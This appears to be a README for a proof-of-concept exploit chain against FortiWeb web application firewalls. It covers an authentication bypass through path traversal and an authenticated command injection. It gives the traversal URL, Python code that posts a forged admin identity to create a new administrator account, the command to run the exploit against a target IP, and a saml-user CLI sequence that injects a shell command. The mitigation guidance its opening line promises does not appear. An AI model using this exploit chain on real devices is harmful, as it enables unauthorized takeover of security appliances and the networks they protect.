
PoC exploit for FortiWeb CVEs: authentication bypass via path traversal and authenticated OS command injection. Includes detailed analysis, payloads, and mitigation guidance for security testing.
FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.
In 2025, two critical vulnerabilities were discovered:
| Item | Description |
|---|---|
| Vulnerability Type | Relative Path Traversal Authentication Bypass |
| Cause | FortiWeb loosely handles paths before authentication: - Access control based on logical path strings - Does not fully normalize paths - Allows using ../ to access internal resources |
| Description | Some administrative endpoints can be accessed without valid authentication |
| Impact | - Complete authentication bypass - Unauthorized access to admin functions - Breaks privilege model |
| Affected Versions | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Example:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
This helps avoid library version conflicts, ensures a stable working environment, and minimizes impact on the system

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Run the tool with Python3:
python3 exploit.py <IP_target>
<IP_target>: The IP address here is the hostname of the FortiWeb device.
Obtaining username and password -> proceed to login

Exploitation successful and a new account with admin privileges is created.
After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly via the FortiWeb CLI:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb will break out of the configuration string and execute the id command during the saml-user configuration.
| Item | Description |
|---|
| Vulnerability Type | OS Command Injection (CWE-78) |
| Cause | FortiWeb unsafely handles input when executing operating system commands: - No input validation - Lack of special character escaping - Directly passes user data into system commands |
| Description | The vulnerability requires authentication but allows injection of system commands |
| Impact | - Executes unintended commands - Accesses system resources - Affects integrity and availability |
| Affected Versions | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |